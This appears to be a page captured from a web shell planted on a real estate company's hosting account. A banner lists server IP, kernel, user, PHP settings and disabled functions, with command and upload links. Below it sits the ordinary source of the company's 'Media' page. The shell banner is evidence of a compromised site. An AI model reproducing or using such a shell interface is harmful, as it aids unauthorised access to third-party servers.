|
Server IP : 145.79.210.100 / Your IP : 216.73.216.101 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentia.in/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<!----font awesome cdn-------->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css" integrity="sha512-SnH5WK+bZxgPHs44uWIX+LLJAJ9/2PkPKZ5QiAj6Ta86w+fsb2TkcmfRyVX3pBnMFcV7oQPJkl9QevSCWr3W6A==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<!-----Custom css-->
<link rel="stylesheet" href="./sass/style.css">
<!-----owl carousel css link-->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.1.3/assets/owl.carousel.min.css">
<link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
<!-----fav-icon css link-->
<link rel="icon" type="images/x-icon" href="./images/excentia-logo.png">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.css">
<title>Media</title>
<style>
.fifth-sec .left-container {
padding: 9% 9% 0 9%;
}
.owl-prev{
position: absolute;
left: -6%;
bottom: 40%;
}
.owl-prev span{
color: #ffffff;
font-size: 50px;
}
.owl-prev span:hover{
color: #c98b3a;
}
.owl-next{
position: absolute;
right: -6%;
bottom: 40%;
}
.owl-next span{
color: #ffffff;
font-size: 50px;
}
.owl-next span:hover{
color: #c98b3a;
}
#nav-wrap{
opacity: 1;
animation: none;
}
#first{
display: block;
}
.logo #second{
display: none;
width: 36%;
}
.second .parent .left_part .logo_part {
width: 80%;
}
@media(max-width:750px){
.second .parent .left_part .logo_part {
width: 50%;
}
.owl-next span {
color: #ffffff;
font-size: 25px;
}
.owl-prev span {
color: #ffffff;
font-size: 25px;
}
}
</style>
</head>
<body>
<?php include('menu.php');?>
<!-- <section class="second-sec">
<div class="head">
<h3>About Us</h3>
</div>
<div class="main-title">
<span>Experience</span>
<h1>your home <br/>with us</h1>
<div class="para-text">
At Excentia Infra, we've been shaping the skyline of Delhi NCR since 1986 with a steadfast commitment to integrity and excellence. In the past year alone, we've proudly delivered over 600,000 sqft of residential and retail spaces, with another 2.4 million sqft currently in development across Noida, Kota, and Dehradun. Our holistic approach, blending world-class design, flawless execution, and innovative marketing, ensures unparalleled value for our customers. With a dedicated team and a relentless pursui of quality, we're redefining real estate with every project.
</div>
<div class="bottom-logo">
<img src="images\bottom-logo.png" alt="">
</div>
</div>
</section> -->
<section class="second">
<h3 class="caption" data-aos="fade-up">Media<span class="underline"></span></h3>
<span data-aos="fade-up">Praesent ultricies </span>
<h1 data-aos="fade-up">Sed vitae</h1>
<div class="parent">
<div class="left_part">
<h1 data-aos="fade-up">lorem sit</h1>
<div class="logo_part" data-aos="fade-up">
<img src="images\logo_part.png" alt="">
</div>
</div>
<div class="right_part" data-aos="fade-up">
At Excentia Infra, we've been shaping the skyline of Delhi NCR since 1986 with a steadfast commitment to integrity and excellence. In the past year alone, we've proudly delivered over 600,000 sqft of residential and retail spaces, with another 2.4 million sqft currently in development across Noida, Kota, and Dehradun. Our holistic approach, blending world-class design, flawless execution, and innovative marketing, ensures unparalleled value for our customers. With a dedicated team and a relentless pursui of quality, we're redefining real estate with every project.
</div>
</div>
</section>
<section class="third-sec">
<div class="mid-image owl-carousel owl-theme" dir="ltr" id="owl-demo2">
<div class="img" class="item" data-aos="zoom-in">
<img src="./images/media-img-1.jpg" alt="">
</div>
<div class="img" class="item" data-aos="zoom-in">
<img src="./images/media-img-2.jpg" alt="">
</div>
<div class="img" class="item" data-aos="zoom-in">
<img src="./images/media-img-1.jpg" alt="">
</div>
<div class="img" class="item" data-aos="zoom-in">
<img src="./images/media-img-2.jpg" alt="">
</div>
</div>
</section>
<section class="onscroll-logo">
<div class="logo-container">
<div class="firstpart">
<img src="./images/1.png" alt="">
</div>
<div class="secondpart">
<img src="./images/2.png" alt="">
</div>
<div class="thirdpart">
<img src="./images/3.png" alt="">
</div>
<div class="fourthpart">
<img src="./images/4.png" alt="">
</div>
<div class="fifthpart">
<img src="./images/5.png" alt="">
</div>
</div>
</section>
<section class="fifth-sec">
<div class="left-container">
<h3 data-aos="fade-up">Mauris tellus nislt</h3>
<h1 data-aos="fade-up">bibendum</h1>
<div class="main_parent">
<div class="left_part">
<h1 data-aos="fade-up">iaculis</h1>
<!-- <div data-aos="fade-up" class="bottom_img">
<img src="./images/leaf-img.jpg" alt="">
</div> -->
</div>
<div class="right_part" data-aos="fade-up">
Nunc et sapien et odio suscipit elementum vitae id nulla. In pretium neque velit, sit amet pretium nibh viverra id.
</div>
</div>
</div>
<section class="third-sec" style="background: linear-gradient(#dbbd96 50%, #f6eee4 50%);">
<div class="mid-image owl-carousel owl-theme" dir="ltr" id="owl-demo" data-aos="zoom-in">
<div class="img">
<img src="./images/templee.jpg" alt="">
<p>Dehradun civic body extends 20% rebate in house tax till March 31</p>
<p class="date">2021/03/23</p>
</div>
<div class="img">
<img src="./images/upperview.jpg" alt="">
<p>Noida emerges NCR’s top office space market in pandemic year, sees higher uptake than Gurugram</p>
<p class="date">2021-01-08</p>
</div>
<div class="img" >
<img src="./images/smart-city.jpg" alt="">
<p>Rajasthan ranks second in country in implementing smart city projects</p>
<p class="date">2021-05-18</p>
</div>
</div>
</section>
</section>
<?php include('footer.php');?>
<!-------custom js-->
<script src="./js/commonMenu.js"></script>
<!-----bootstrap5 script link----->
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.min.js" integrity="sha384-cVKIPhGWiC2Al4u+LWgxfKTRIcfu0JTxR+EQDz/bgldoEyl4H0zUF0QKbrJ0EcQF" crossorigin="anonymous"></script>
<!------owl carousel script link-->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.2/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.1.3/owl.carousel.min.js"></script>
<script>
// $('.owl-carousel').owlCarousel({
// loop: true,
// nav: true,
// smartSpeed: 1000,
// margin:25,
// loop:true,
// navText: [
// "<span>⟵</span>",
// "<span>⟶</span>"
// ],
// autoplay: false,
// responsive: {
// 0: {
// items: 1
// },
// 600: {
// items: 1
// },
// 1000: {
// items: 2
// }
// }
// });
</script>
<!-------gsap scroll-trigger js link-->
<script src="https://unpkg.co/gsap@3/dist/gsap.min.js"></script>
<script src="https://unpkg.com/gsap@3/dist/ScrollTrigger.min.js"></script>
<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
<script>
gsap.registerPlugin(ScrollTrigger);
gsap.fromTo(
'.firstpart',
{ xPercent: -550 }, // It Starts on the rights
{
xPercent: 400, // It Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
//pin: 'header',
//trigger: '.fourth_part',
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.secondpart',
{ xPercent:-350 }, //It Starts on the rights
{
xPercent: 250, //It Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
//pin: 'header',
//trigger: '.fourth_part',
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.fourthpart',
{ xPercent: 350 }, //Starts on the rights
{
xPercent: -250, // Moves to the left
ease: 'power1.inOut',
scrollTrigger: {
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
gsap.fromTo(
'.fifthpart',
{ xPercent:550}, // it Starts on the rights...
{
xPercent: -400, // it Moves to the left...
ease: 'power1.inOut',
scrollTrigger: {
start: 'top center',
end: 'bottom top',
scrub: true,
},
}
)
</script>
<script>
AOS.init({
duration:1500,
});
</script>
<script>
window.onscroll = function() {myFunction()};
logo_1= document.querySelector("#first");
logo_2=document.querySelector("#second");
function myFunction() {
if (document.documentElement.scrollTop > 50) {
logo_1.style.display="none";
logo_2.style.display="block";
document.querySelector(".nav_wrap").style.backgroundColor="rgb(255, 255, 255)";
} else {
logo_1.style.display="block";
logo_2.style.display="none";
document.querySelector(".nav_wrap").style.backgroundColor="transparent";
}
}
</script>
<!-- <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> -->
<script>
$(document).ready(function () {
$("#owl-demo").owlCarousel({
loop: true,
nav: true,
smartSpeed: 1000,
margin:25,
loop:true,
autoplay:true,
items:1,
navText: [
"<span>⟵</span>",
"<span>⟶</span>"
],
autoplay: false,
responsive: {
0: {
items: 1
},
600: {
items: 1
},
1000: {
items: 1
}
}
});
$("#owl-demo2").owlCarousel({
loop: true,
nav: true,
smartSpeed: 1000,
margin:25,
loop:true,
autoplay:true,
items:1,
navText: [
"<span>⟵</span>",
"<span>⟶</span>"
],
autoplay: false,
responsive: {
0: {
items: 1
},
600: {
items: 1
},
1000: {
items: 2
}
}
});
});
</script>
</body>
</html>